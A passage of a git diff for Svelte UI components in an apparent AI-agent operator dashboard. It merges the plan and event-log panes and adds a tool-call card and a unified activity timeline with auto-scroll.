// Omitted (main Chat page): tracks the global "current session" — one
|
||||
// shared view, same as always. Passed (a floating task window's
|
||||
// SessionChatWindow): this panel switches entirely to that session's own
|
||||
// store bundle (workspaceFor/chatFor/activityLogFor), so several windows'
|
||||
// panels can be open and live at once instead of all showing whatever
|
||||
// happens to be the single global "current session".
|
||||
// happens to be the single global "current session". Per-session workspace
|
||||
// tracking (startSessionWorkspace) is started by SessionChatWindow itself,
|
||||
// not here — it has to run even while this panel stays unmounted (see its
|
||||
// hasContext gate), so only the global fallback path starts its own here.
|
||||
let { sessionId = null }: { sessionId?: string | null } = $props()
|
||||
|
||||
onMount(() => (sessionId ? startSessionWorkspace(sessionId) : startWorkspace()))
|
||||
onMount(() => (sessionId ? undefined : startWorkspace()))
|
||||
|
||||
const ws = $derived(sessionId ? workspaceFor(sessionId) : null)
|
||||
const planStepsStore = $derived(ws ? ws.planSteps : planSteps)
|
||||
const openQuestionStore = $derived(ws ? ws.openQuestion : openQuestion)
|
||||
const touchedStore = $derived(ws ? ws.touched : touched)
|
||||
const healthDiffsStore = $derived(ws ? ws.healthDiffs : healthDiffs)
|
||||
const taskStore = $derived(sessionId ? taskFor(sessionId) : currentTask)
|
||||
@@ -37,12 +40,8 @@
|
||||
const streamingStore = $derived(chat ? chat.streaming : streaming)
|
||||
const messagesStore = $derived(chat ? chat.messages : messages)
|
||||
const activityLogStore = $derived(sessionId ? activityLogFor(sessionId) : activityLog)
|
||||
// OperatorQuestion posts its answer against this id — the window's own
|
||||
// session when set, otherwise whatever the main page currently has open.
|
||||
const effectiveSessionId = $derived(sessionId ?? $currentSession)
|
||||
|
||||
let scopeOpen = $state(true)
|
||||
let planOpen = $state(true)
|
||||
let activityOpen = $state(true)
|
||||
|
||||
// Resize: each section is a Pane in one vertical Splitpanes. Sizes are
|
||||
@@ -52,12 +51,12 @@
|
||||
// last size so reopening restores it.
|
||||
const COLLAPSED_SIZE = 6
|
||||
const OPEN_MIN_SIZE = 12
|
||||
let sizes = $state<(number | undefined)[]>([undefined, undefined, undefined])
|
||||
let sizes = $state<(number | undefined)[]>([30, 70])
|
||||
// Reopening must restore a concrete number, never `undefined` — the pane
|
||||
// only re-triggers the library's resize/equalize pass when `size` changes
|
||||
// to a different *number*, so setting it back to `undefined` silently
|
||||
// no-ops and leaves the section stuck at its collapsed height.
|
||||
let savedSizes: number[] = [34, 33, 33]
|
||||
let savedSizes: number[] = [30, 70]
|
||||
|
||||
function toggleSection(i: number, isOpen: boolean) {
|
||||
if (isOpen) {
|
||||
@@ -71,30 +70,20 @@
|
||||
// Plan collapsed status
|
||||
const planDone = $derived($planStepsStore.filter((s) => s.status === 'done').length)
|
||||
const planTotal = $derived($planStepsStore.length)
|
||||
const planPct = $derived(planTotal > 0 ? Math.round((planDone / planTotal) * 100) : 0)
|
||||
|
||||
// When there are no plan steps, the empty state depends on WHY: a task that's
|
||||
// actively planning (or streaming its first turn) is genuinely waiting for one,
|
||||
// but a finished task that never planned (a read-only lookup, a direct answer)
|
||||
// will never get one — a perpetual "Awaiting plan…" there is misleading.
|
||||
const planPhase = $derived.by<'drafting' | 'none' | 'idle'>(() => {
|
||||
const st = $taskStore?.status
|
||||
if (st === 'done' || st === 'failed' || st === 'abandoned') return 'none'
|
||||
if (st === 'planning' || $streamingStore) return 'drafting'
|
||||
return 'idle'
|
||||
})
|
||||
|
||||
// Activity collapsed status
|
||||
const activityRunning = $derived($activityLogStore.filter((e) => e.status === 'running').length)
|
||||
const activityCount = $derived($activityLogStore.length)
|
||||
</script>
|
||||
|
||||
<div class="flex h-full min-h-0 flex-col">
|
||||
<OperatorQuestion sessionId={effectiveSessionId} question={$openQuestionStore} />
|
||||
|
||||
<Splitpanes horizontal theme="oikos-theme" dblClickSplitter={false} class="min-h-0 flex-1">
|
||||
<!-- Scope -->
|
||||
<Pane bind:size={sizes[0]} minSize={scopeOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={scopeOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
|
||||
<Pane
|
||||
bind:size={sizes[0]}
|
||||
minSize={scopeOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE}
|
||||
maxSize={scopeOpen ? 100 : COLLAPSED_SIZE}
|
||||
class="flex flex-col"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
class="flex shrink-0 items-center gap-1.5 px-3 py-2 text-left text-[11px] font-semibold uppercase tracking-wider text-muted-foreground hover:text-foreground"
|
||||
@@ -103,163 +92,77 @@
|
||||
scopeOpen = !scopeOpen
|
||||
}}
|
||||
>
|
||||
{#if scopeOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon class="size-3" />{/if}
|
||||
{#if scopeOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon
|
||||
class="size-3"
|
||||
/>{/if}
|
||||
<span>Scope</span>
|
||||
{#if !scopeOpen}
|
||||
<span class="ml-auto font-normal normal-case">{$touchedStore.length ? `${$touchedStore.length} entit${$touchedStore.length === 1 ? 'y' : 'ies'}` : 'Graph'}</span>
|
||||
<span class="ml-auto font-normal normal-case"
|
||||
>{$touchedStore.length
|
||||
? `${$touchedStore.length} entit${$touchedStore.length === 1 ? 'y' : 'ies'}`
|
||||
: 'Graph'}</span
|
||||
>
|
||||
{/if}
|
||||
</button>
|
||||
{#if scopeOpen}
|
||||
<div class="min-h-0 flex-1">
|
||||
<SessionGraph messages={$messagesStore} touched={$touchedStore} healthDiffs={$healthDiffsStore} />
|
||||
<SessionGraph
|
||||
messages={$messagesStore}
|
||||
touched={$touchedStore}
|
||||
healthDiffs={$healthDiffsStore}
|
||||
/>
|
||||
</div>
|
||||
{/if}
|
||||
</Pane>
|
||||
|
||||
<!-- Plan -->
|
||||
<Pane bind:size={sizes[1]} minSize={planOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={planOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
|
||||
<!-- Activity (merged plan + event log) -->
|
||||
<Pane
|
||||
bind:size={sizes[1]}
|
||||
minSize={activityOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE}
|
||||
maxSize={activityOpen ? 100 : COLLAPSED_SIZE}
|
||||
class="flex flex-col"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
class="flex shrink-0 items-center gap-1.5 px-3 py-2 text-left text-[11px] font-semibold uppercase tracking-wider text-muted-foreground hover:text-foreground"
|
||||
onclick={() => {
|
||||
toggleSection(1, planOpen)
|
||||
planOpen = !planOpen
|
||||
}}
|
||||
>
|
||||
{#if planOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon class="size-3" />{/if}
|
||||
<span>Plan</span>
|
||||
{#if !planOpen}
|
||||
{#if planTotal > 0}
|
||||
<span class="ml-auto font-normal normal-case">Step {planDone}/{planTotal}</span>
|
||||
{:else if $taskStore?.goal}
|
||||
<span class="ml-auto max-w-[120px] truncate font-normal normal-case">{$taskStore.goal}</span>
|
||||
{:else}
|
||||
<span class="ml-auto font-normal normal-case text-muted-foreground">No plan yet</span>
|
||||
{/if}
|
||||
{/if}
|
||||
</button>
|
||||
{#if planOpen}
|
||||
<div class="flex min-h-0 flex-1 flex-col overflow-y-auto">
|
||||
{#if $taskStore?.goal}
|
||||
<div class="flex items-start gap-2 px-3 py-2">
|
||||
<MilestoneIcon class="mt-0.5 size-3 shrink-0 text-primary" />
|
||||
<span class="text-xs leading-snug text-foreground/90">{$taskStore.goal}</span>
|
||||
</div>
|
||||
{/if}
|
||||
{#if planTotal > 0}
|
||||
<div class="px-3 pb-2.5">
|
||||
<div class="mb-1.5 flex items-baseline justify-between text-[11px]">
|
||||
<span class="font-medium text-foreground">{planDone} of {planTotal} done</span>
|
||||
<span class="tabular-nums text-muted-foreground">{planPct}%</span>
|
||||
</div>
|
||||
<div class="h-1.5 overflow-hidden rounded-full bg-muted">
|
||||
<div class="h-full rounded-full bg-primary transition-all duration-500 ease-out" style="width: {planPct}%"></div>
|
||||
</div>
|
||||
</div>
|
||||
<ol class="flex flex-col overflow-y-auto px-2 pb-2 text-[11px]">
|
||||
{#each $planStepsStore as step, i (step.id)}
|
||||
{@const isDone = step.status === 'done'}
|
||||
{@const isRunning = step.status === 'running'}
|
||||
<li class="relative flex items-start gap-2.5 rounded-md px-2 py-1.5 transition-colors {isRunning ? 'bg-primary/5' : ''}">
|
||||
{#if i < $planStepsStore.length - 1}
|
||||
<span class="pointer-events-none absolute bottom-[-2px] left-[13.5px] top-[22px] w-px bg-border" aria-hidden="true"></span>
|
||||
{/if}
|
||||
<span class="relative z-10 mt-px flex size-3.5 shrink-0 items-center justify-center rounded-full bg-background">
|
||||
{#if isDone}
|
||||
<CircleCheckIcon class="size-3.5 text-primary" />
|
||||
{:else if isRunning}
|
||||
<Spinner class="size-3.5 text-primary" />
|
||||
{:else if step.status === 'failed'}
|
||||
<CircleXIcon class="size-3.5 text-destructive" />
|
||||
{:else if step.status === 'blocked'}
|
||||
<CirclePauseIcon class="size-3.5 text-warning" />
|
||||
{:else if step.status === 'skipped' || step.status === 'replaced'}
|
||||
<CircleSlashIcon class="size-3.5 text-muted-foreground" />
|
||||
{:else}
|
||||
<CircleIcon class="size-3.5 text-muted-foreground/40" />
|
||||
{/if}
|
||||
</span>
|
||||
<span
|
||||
class="min-w-0 flex-1 leading-snug {isDone
|
||||
? 'text-muted-foreground line-through decoration-muted-foreground/40'
|
||||
: isRunning
|
||||
? 'font-medium text-foreground'
|
||||
: 'text-muted-foreground'}"
|
||||
>{step.title}</span>
|
||||
</li>
|
||||
{/each}
|
||||
</ol>
|
||||
{:else if planPhase === 'drafting'}
|
||||
<div class="flex flex-col items-center gap-3 px-3 py-6 text-center">
|
||||
<svg viewBox="0 0 140 88" class="h-16 w-auto text-primary" fill="none">
|
||||
<g stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
|
||||
<circle cx="16" cy="20" r="4.5" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.35;1;0.35" dur="1.3s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
<line x1="30" y1="20" x2="124" y2="20" opacity="0.4">
|
||||
<animate attributeName="opacity" values="0.15;0.5;0.15" dur="1.3s" repeatCount="indefinite" />
|
||||
</line>
|
||||
<circle cx="16" cy="44" r="4.5" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.35;1;0.35" dur="1.3s" begin="0.25s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
<line x1="30" y1="44" x2="102" y2="44" opacity="0.4">
|
||||
<animate attributeName="opacity" values="0.15;0.5;0.15" dur="1.3s" begin="0.25s" repeatCount="indefinite" />
|
||||
</line>
|
||||
<circle cx="16" cy="68" r="4.5" fill="currentColor">
|
||||
<animate attributeName="opacity" values="0.35;1;0.35" dur="1.3s" begin="0.5s" repeatCount="indefinite" />
|
||||
</circle>
|
||||
<line x1="30" y1="68" x2="80" y2="68" opacity="0.4">
|
||||
<animate attributeName="opacity" values="0.15;0.5;0.15" dur="1.3s" begin="0.5s" repeatCount="indefinite" />
|
||||
</line>
|
||||
</g>
|
||||
</svg>
|
||||
<p class="text-xs text-muted-foreground">Drafting a plan…</p>
|
||||
</div>
|
||||
{:else}
|
||||
<div class="flex flex-col items-center gap-3 px-3 py-6 text-center">
|
||||
<svg viewBox="0 0 140 88" class="h-16 w-auto text-muted-foreground/40" fill="none">
|
||||
<g stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
|
||||
<circle cx="16" cy="20" r="4.5" fill="currentColor" opacity="0.7" />
|
||||
<line x1="30" y1="20" x2="124" y2="20" opacity="0.35" />
|
||||
<circle cx="16" cy="44" r="4.5" fill="currentColor" opacity="0.45" />
|
||||
<line x1="30" y1="44" x2="102" y2="44" opacity="0.25" />
|
||||
<circle cx="16" cy="68" r="4.5" fill="none" opacity="0.3" />
|
||||
<line x1="30" y1="68" x2="80" y2="68" opacity="0.15" stroke-dasharray="2.5 3.5" />
|
||||
</g>
|
||||
</svg>
|
||||
<p class="max-w-[14rem] text-xs leading-relaxed text-muted-foreground">
|
||||
{planPhase === 'none' ? 'Handled directly — no plan needed' : 'No plan for this task yet'}
|
||||
</p>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</Pane>
|
||||
|
||||
<!-- Activity -->
|
||||
<Pane bind:size={sizes[2]} minSize={activityOpen ? OPEN_MIN_SIZE : COLLAPSED_SIZE} maxSize={activityOpen ? 100 : COLLAPSED_SIZE} class="flex flex-col">
|
||||
<button
|
||||
type="button"
|
||||
class="flex shrink-0 items-center gap-1.5 px-3 py-2 text-left text-[11px] font-semibold uppercase tracking-wider text-muted-foreground hover:text-foreground"
|
||||
onclick={() => {
|
||||
toggleSection(2, activityOpen)
|
||||
toggleSection(1, activityOpen)
|
||||
activityOpen = !activityOpen
|
||||
}}
|
||||
>
|
||||
{#if activityOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon class="size-3" />{/if}
|
||||
<span>Event log</span>
|
||||
{#if !activityOpen}
|
||||
{#if $streamingStore && activityRunning > 0}
|
||||
<Spinner class="size-3 text-primary" />
|
||||
<span class="font-normal normal-case text-primary">{activityRunning} running</span>
|
||||
{#if activityOpen}<ChevronDownIcon class="size-3" />{:else}<ChevronRightIcon
|
||||
class="size-3"
|
||||
/>{/if}
|
||||
<span>Activity</span>
|
||||
{#if $streamingStore && activityRunning > 0}
|
||||
<Spinner class="size-3 text-primary" />
|
||||
{/if}
|
||||
{#if planTotal > 0}
|
||||
<span
|
||||
class="font-normal normal-case tabular-nums {planDone === planTotal
|
||||
? 'text-muted-foreground'
|
||||
: 'text-primary'}">{planDone}/{planTotal}</span
|
||||
>
|
||||
{/if}
|
||||
{#if !activityOpen && planTotal === 0}
|
||||
{#if $taskStore?.goal}
|
||||
<span class="ml-auto max-w-[120px] truncate font-normal normal-case"
|
||||
>{$taskStore.goal}</span
|
||||
>
|
||||
{:else}
|
||||
<span class="ml-auto font-normal normal-case">{activityCount || '—'} action{activityCount === 1 ? '' : 's'}</span>
|
||||
<span class="ml-auto font-normal normal-case text-muted-foreground"
|
||||
>No activity yet</span
|
||||
>
|
||||
{/if}
|
||||
{/if}
|
||||
</button>
|
||||
{#if activityOpen}
|
||||
<div class="min-h-0 flex-1 overflow-hidden">
|
||||
<ActivityTimeline entries={$activityLogStore} />
|
||||
<UnifiedTimeline
|
||||
entries={$activityLogStore}
|
||||
planSteps={$planStepsStore}
|
||||
streaming={$streamingStore}
|
||||
/>
|
||||
</div>
|
||||
{/if}
|
||||
</Pane>
|
||||
|
||||
112
web/src/lib/components/ToolCallCard.svelte
Normal file
@@ -0,0 +1,112 @@
|
||||
<script lang="ts">
|
||||
// One tool call inside AgentTrace's expanded list. Renders as a borderless
|
||||
// row (the trace supplies the container/border) whose own click reveals the
|
||||
// raw args/result — so the trace stays a readable thinking log by default
|
||||
// and the JSON is one more click away, not stacked inline.
|
||||
import { Check, ChevronRight, Loader2, X } from '@lucide/svelte'
|
||||
import type { ToolCallResult } from '$lib/types'
|
||||
import { toolActivityLabel } from '$lib/stores/activity'
|
||||
|
||||
let { tool }: { tool: ToolCallResult } = $props()
|
||||
let expanded = $state(false)
|
||||
|
||||
const status = $derived.by(() => {
|
||||
if (tool.type === 'tool_use') return 'running'
|
||||
if (tool.error) return 'error'
|
||||
return 'done'
|
||||
})
|
||||
|
||||
const label = $derived(toolActivityLabel(tool))
|
||||
|
||||
const argsSummary = $derived.by(() => {
|
||||
if (!tool.args) return ''
|
||||
const entries = Object.entries(tool.args)
|
||||
if (entries.length === 0) return ''
|
||||
const first = entries[0]
|
||||
const val = typeof first[1] === 'string' ? first[1] : JSON.stringify(first[1])
|
||||
return `${first[0]}: ${val.length > 60 ? val.slice(0, 60) + '…' : val}`
|
||||
})
|
||||
|
||||
const hasDetail = $derived(
|
||||
!!tool.args || (tool.result !== undefined && tool.result !== null) || !!tool.error
|
||||
)
|
||||
</script>
|
||||
|
||||
<div class="tool-row">
|
||||
<button
|
||||
class="flex w-full items-start gap-2 rounded-md px-2 py-1.5 text-left transition-colors hover:bg-muted/40 disabled:cursor-default"
|
||||
onclick={() => (expanded = !expanded)}
|
||||
aria-expanded={expanded}
|
||||
disabled={!hasDetail}
|
||||
>
|
||||
<span class="mt-px shrink-0 {status === 'error' ? 'text-destructive' : 'text-primary'}">
|
||||
{#if status === 'running'}
|
||||
<Loader2 class="size-3 animate-spin" />
|
||||
{:else if status === 'error'}
|
||||
<X class="size-3" />
|
||||
{:else}
|
||||
<Check class="size-3" />
|
||||
{/if}
|
||||
</span>
|
||||
<span class="min-w-0 flex-1">
|
||||
<span class="block truncate text-xs text-foreground/90">{label}</span>
|
||||
{#if argsSummary}
|
||||
<span class="block truncate font-mono text-[10px] text-muted-foreground/60"
|
||||
>{argsSummary}</span
|
||||
>
|
||||
{/if}
|
||||
</span>
|
||||
<span class="shrink-0 font-mono text-[10px] text-muted-foreground/50">{tool.name}</span>
|
||||
{#if hasDetail}
|
||||
<ChevronRight
|
||||
class="mt-px size-3 shrink-0 text-muted-foreground/50 transition-transform {expanded
|
||||
? 'rotate-90'
|
||||
: ''}"
|
||||
/>
|
||||
{/if}
|
||||
</button>
|
||||
|
||||
{#if expanded}
|
||||
<div class="space-y-2 px-2 pb-2 pl-7">
|
||||
{#if tool.args}
|
||||
<div>
|
||||
<div
|
||||
class="mb-1 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground"
|
||||
>
|
||||
Args
|
||||
</div>
|
||||
<pre
|
||||
class="max-h-48 overflow-x-auto rounded-md bg-muted/60 p-2 text-[11px]">{JSON.stringify(
|
||||
tool.args,
|
||||
null,
|
||||
2
|
||||
)}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
{#if tool.result !== undefined && tool.result !== null}
|
||||
<div>
|
||||
<div
|
||||
class="mb-1 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground"
|
||||
>
|
||||
Result
|
||||
</div>
|
||||
<pre
|
||||
class="max-h-48 overflow-x-auto rounded-md bg-muted/60 p-2 text-[11px]">{JSON.stringify(
|
||||
tool.result,
|
||||
null,
|
||||
2
|
||||
)}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
{#if tool.error}
|
||||
<div>
|
||||
<div class="mb-1 text-[10px] font-semibold uppercase tracking-wider text-destructive">
|
||||
Error
|
||||
</div>
|
||||
<pre
|
||||
class="max-h-48 overflow-x-auto rounded-md border border-destructive/20 bg-destructive/5 p-2 text-[11px] text-destructive">{tool.error}</pre>
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
{/if}
|
||||
</div>
|
||||
530
web/src/lib/components/UnifiedTimeline.svelte
Normal file
@@ -0,0 +1,530 @@
|
||||
<script lang="ts">
|
||||
import { slide } from 'svelte/transition'
|
||||
import type { ActivityEntry } from '$lib/stores/activity'
|
||||
import type { PlanStep } from '$lib/api'
|
||||
import Spinner from './Spinner.svelte'
|
||||
import ChevronRightIcon from '@lucide/svelte/icons/chevron-right'
|
||||
import ChevronDownIcon from '@lucide/svelte/icons/chevron-down'
|
||||
import CheckIcon from '@lucide/svelte/icons/check'
|
||||
import XIcon from '@lucide/svelte/icons/x'
|
||||
import PauseIcon from '@lucide/svelte/icons/pause'
|
||||
import SlashIcon from '@lucide/svelte/icons/slash'
|
||||
import WrenchIcon from '@lucide/svelte/icons/wrench'
|
||||
import MilestoneIcon from '@lucide/svelte/icons/milestone'
|
||||
import SparklesIcon from '@lucide/svelte/icons/sparkles'
|
||||
import HelpCircleIcon from '@lucide/svelte/icons/help-circle'
|
||||
import FlagIcon from '@lucide/svelte/icons/flag'
|
||||
|
||||
// Merged plan + activity timeline, designed for the narrow rail:
|
||||
// - ordered newest-first: what the agent is doing right now is at the top,
|
||||
// history flows downward, and the goal sits at the bottom where the task
|
||||
// began (see the sort in `items`)
|
||||
// - one continuous vertical "backbone"; every item owns a segment of it,
|
||||
// colored by state (done = filled primary, running = faint primary,
|
||||
// pending/future = muted) so the line visibly fills in as work completes
|
||||
// - plan steps are filled status nodes ON the backbone; their tool calls
|
||||
// branch off with horizontal stubs
|
||||
// - flat entries (goal/knowledge/complete/orphan tools) are milestone
|
||||
// markers on the same backbone
|
||||
// - the running step auto-expands and the view auto-scrolls to keep the
|
||||
// current step visible while the agent works (follow mode disengages if
|
||||
// the operator scrolls down into history, re-engages when streaming
|
||||
// starts again)
|
||||
let {
|
||||
entries,
|
||||
planSteps: steps,
|
||||
streaming = false
|
||||
}: {
|
||||
entries: ActivityEntry[]
|
||||
planSteps: PlanStep[]
|
||||
streaming?: boolean
|
||||
} = $props()
|
||||
|
||||
// Explicit user toggles only — default open state derives from step status
|
||||
// (running = expanded, everything else = collapsed) so a step collapses
|
||||
// itself the moment it finishes unless the operator pinned it open.
|
||||
let stepToggles = $state(new Map<string, boolean>())
|
||||
let expandedTools = $state(new Set<string>())
|
||||
|
||||
function stepOpen(step: PlanStep): boolean {
|
||||
return stepToggles.get(step.id) ?? step.status === 'running'
|
||||
}
|
||||
function toggleStep(step: PlanStep) {
|
||||
stepToggles.set(step.id, !stepOpen(step))
|
||||
stepToggles = new Map(stepToggles)
|
||||
}
|
||||
function toggleTool(id: string) {
|
||||
if (expandedTools.has(id)) expandedTools.delete(id)
|
||||
else expandedTools.add(id)
|
||||
expandedTools = new Set(expandedTools)
|
||||
}
|
||||
|
||||
// ── Timeline model ────────────────────────────────────────────────────────
|
||||
type TLItem =
|
||||
| { kind: 'step'; step: PlanStep; tools: ActivityEntry[]; ts: number }
|
||||
| { kind: 'entry'; entry: ActivityEntry; ts: number }
|
||||
|
||||
const items = $derived.by<TLItem[]>(() => {
|
||||
const stepIds = new Set(steps.map((s) => s.id))
|
||||
const out: TLItem[] = []
|
||||
|
||||
for (const s of steps) {
|
||||
if (s.status === 'pending' && !entries.some((e) => e.stepSeq === s.seq)) {
|
||||
// Pending steps with no activity yet still show on the timeline so
|
||||
// the operator sees what's coming — but only if a plan exists. ts 0
|
||||
// parks them at the tail of the newest-first sort below (see there).
|
||||
if (steps.length > 0) {
|
||||
out.push({ kind: 'step', step: s, tools: [], ts: 0 })
|
||||
}
|
||||
continue
|
||||
}
|
||||
const tools = entries.filter(
|
||||
(e) =>
|
||||
e.stepSeq === s.seq &&
|
||||
(e.type === 'tool_running' || e.type === 'tool_done' || e.type === 'tool_error')
|
||||
)
|
||||
const stepEntry = entries.find((e) => e.id === s.id)
|
||||
// Timed from the step's own entry, else its earliest tool — so a step
|
||||
// is placed by when it started, not by its latest activity.
|
||||
const ts = stepEntry?.timestamp ?? tools[0]?.timestamp ?? Date.now()
|
||||
// Tools inside a step run newest-first too, matching the outer order.
|
||||
out.push({ kind: 'step', step: s, tools: [...tools].reverse(), ts })
|
||||
}
|
||||
|
||||
for (const e of entries) {
|
||||
const isTool = e.type === 'tool_running' || e.type === 'tool_done' || e.type === 'tool_error'
|
||||
if (isTool && e.stepSeq != null) continue // nested under its step
|
||||
if (!isTool && stepIds.has(e.id)) continue // rendered as step node
|
||||
out.push({ kind: 'entry', entry: e, ts: e.timestamp })
|
||||
}
|
||||
|
||||
// Newest first: whatever the agent is doing right now sits at the top of
|
||||
// the rail, with history flowing downward. The two ts-0 groups fall to
|
||||
// the bottom for free, which is where both belong in this order: the goal
|
||||
// (timestamp 0 — where the task started) and not-yet-run plan steps.
|
||||
// Sorting the latter by their future position would put them *above* the
|
||||
// running step and push it off the top, which is exactly what this
|
||||
// ordering exists to prevent. Array.sort is stable, so each group keeps
|
||||
// its insertion order (plan steps in seq order).
|
||||
out.sort((a, b) => b.ts - a.ts)
|
||||
return out
|
||||
})
|
||||
|
||||
// ── Current activity + auto-scroll ────────────────────────────────────────
|
||||
const currentId = $derived.by<string | null>(() => {
|
||||
const runningTool = entries.find((e) => e.type === 'tool_running' && e.status === 'running')
|
||||
if (runningTool) return runningTool.id
|
||||
const runningStep = steps.find((s) => s.status === 'running')
|
||||
if (runningStep) return runningStep.id
|
||||
return null
|
||||
})
|
||||
|
||||
let container = $state<HTMLDivElement | null>(null)
|
||||
let follow = $state(true)
|
||||
|
||||
// Newest-first, so "following the agent" means being parked at the top —
|
||||
// the mirror of the bottom-anchored follow this had when it ran oldest-first.
|
||||
function onScroll() {
|
||||
if (!container) return
|
||||
follow = container.scrollTop < 80
|
||||
}
|
||||
|
||||
// A new turn re-engages follow mode even if the operator had scrolled up.
|
||||
let wasStreaming = $state(false)
|
||||
$effect(() => {
|
||||
if (streaming && !wasStreaming) follow = true
|
||||
wasStreaming = streaming
|
||||
})
|
||||
|
||||
// Scroll to the current step/tool whenever it changes (smooth) or when new
|
||||
// entries land while following (instant, to avoid scroll-queue jank).
|
||||
$effect(() => {
|
||||
if (!currentId || !follow || !container) return
|
||||
container
|
||||
.querySelector(`[data-tl-id="${CSS.escape(currentId)}"]`)
|
||||
?.scrollIntoView({ behavior: 'smooth', block: 'nearest' })
|
||||
})
|
||||
let lastEntryCount = 0
|
||||
$effect(() => {
|
||||
const n = entries.length
|
||||
if (n === lastEntryCount) return
|
||||
lastEntryCount = n
|
||||
if (!follow || !container) return
|
||||
const target = currentId
|
||||
? container.querySelector(`[data-tl-id="${CSS.escape(currentId)}"]`)
|
||||
: null
|
||||
if (target) target.scrollIntoView({ behavior: 'auto', block: 'nearest' })
|
||||
else container.scrollTop = 0
|
||||
})
|
||||
|
||||
// ── Presentation helpers ──────────────────────────────────────────────────
|
||||
// Segment geometry: the backbone's center runs at x=17.5px (node center:
|
||||
// px-3 = 11.25px at the app's 15px root font-size + half of the 13px node),
|
||||
// so the 1px line sits at left-17px. Each item's segment spans its full
|
||||
// height so tools inside an expanded step stay on the line; first/last
|
||||
// items clip theirs to their node/tool centers so the line never dangles
|
||||
// past the timeline's ends.
|
||||
function segClass(
|
||||
status: string,
|
||||
isFirst: boolean,
|
||||
isLast: boolean,
|
||||
expandedWithTools: boolean
|
||||
): string {
|
||||
let color = 'bg-border'
|
||||
if (status === 'done') color = 'bg-primary/60'
|
||||
else if (status === 'running') color = 'bg-primary/40'
|
||||
else if (status === 'failed') color = 'bg-destructive/40'
|
||||
|
||||
if (isFirst && isLast) return `${color} top-[13px] h-0`
|
||||
if (isFirst) return `${color} top-[13px] bottom-0`
|
||||
if (isLast && expandedWithTools) return `${color} top-0 bottom-[11px]`
|
||||
if (isLast) return `${color} top-0 bottom-[calc(100%-13px)]`
|
||||
return `${color} top-0 bottom-0`
|
||||
}
|
||||
|
||||
function entryIcon(entry: ActivityEntry) {
|
||||
switch (entry.type) {
|
||||
case 'goal':
|
||||
return MilestoneIcon
|
||||
case 'knowledge':
|
||||
return SparklesIcon
|
||||
case 'complete':
|
||||
return FlagIcon
|
||||
case 'question':
|
||||
return HelpCircleIcon
|
||||
default:
|
||||
return WrenchIcon
|
||||
}
|
||||
}
|
||||
function hhmm(ts: number): string {
|
||||
if (!ts || ts > Number.MAX_SAFE_INTEGER - 1000) return ''
|
||||
return new Date(ts).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
|
||||
}
|
||||
function hhmmss(ts: number): string {
|
||||
if (!ts) return ''
|
||||
return new Date(ts).toLocaleTimeString([], {
|
||||
hour: '2-digit',
|
||||
minute: '2-digit',
|
||||
second: '2-digit'
|
||||
})
|
||||
}
|
||||
function prettyPrint(raw: string): string {
|
||||
try {
|
||||
return JSON.stringify(JSON.parse(raw), null, 2)
|
||||
} catch {
|
||||
return raw
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<div class="flex h-full flex-col">
|
||||
<div class="flex-1 overflow-y-auto" bind:this={container} onscroll={onScroll}>
|
||||
{#if items.length === 0}
|
||||
<div class="flex flex-col items-center gap-2 px-3 py-6 text-center">
|
||||
<svg viewBox="0 0 64 110" class="h-14 w-auto text-muted-foreground/40" fill="none">
|
||||
<line
|
||||
x1="32"
|
||||
y1="8"
|
||||
x2="32"
|
||||
y2="102"
|
||||
stroke="currentColor"
|
||||
stroke-width="1"
|
||||
stroke-dasharray="2.5 4"
|
||||
opacity="0.35"
|
||||
/>
|
||||
<circle cx="32" cy="22" r="4" fill="currentColor">
|
||||
<animate
|
||||
attributeName="opacity"
|
||||
values="0.25;0.9;0.25"
|
||||
dur="2.4s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
</circle>
|
||||
<circle cx="32" cy="55" r="4" fill="currentColor">
|
||||
<animate
|
||||
attributeName="opacity"
|
||||
values="0.25;0.9;0.25"
|
||||
dur="2.4s"
|
||||
begin="0.6s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
</circle>
|
||||
<circle cx="32" cy="55" r="4" fill="none" stroke="currentColor" stroke-width="1.5">
|
||||
<animate
|
||||
attributeName="r"
|
||||
values="4;11;4"
|
||||
dur="2.4s"
|
||||
begin="0.6s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
<animate
|
||||
attributeName="opacity"
|
||||
values="0.6;0;0.6"
|
||||
dur="2.4s"
|
||||
begin="0.6s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
</circle>
|
||||
<circle cx="32" cy="88" r="4" fill="currentColor">
|
||||
<animate
|
||||
attributeName="opacity"
|
||||
values="0.25;0.9;0.25"
|
||||
dur="2.4s"
|
||||
begin="1.2s"
|
||||
repeatCount="indefinite"
|
||||
/>
|
||||
</circle>
|
||||
</svg>
|
||||
<p class="text-[11px] leading-relaxed text-muted-foreground">Waiting for activity…</p>
|
||||
</div>
|
||||
{:else}
|
||||
<div class="flex flex-col py-1">
|
||||
{#each items as item, i (item.kind === 'step' ? item.step.id : item.entry.id)}
|
||||
{@const isFirst = i === 0}
|
||||
{@const isLast = i === items.length - 1}
|
||||
{#if item.kind === 'step'}
|
||||
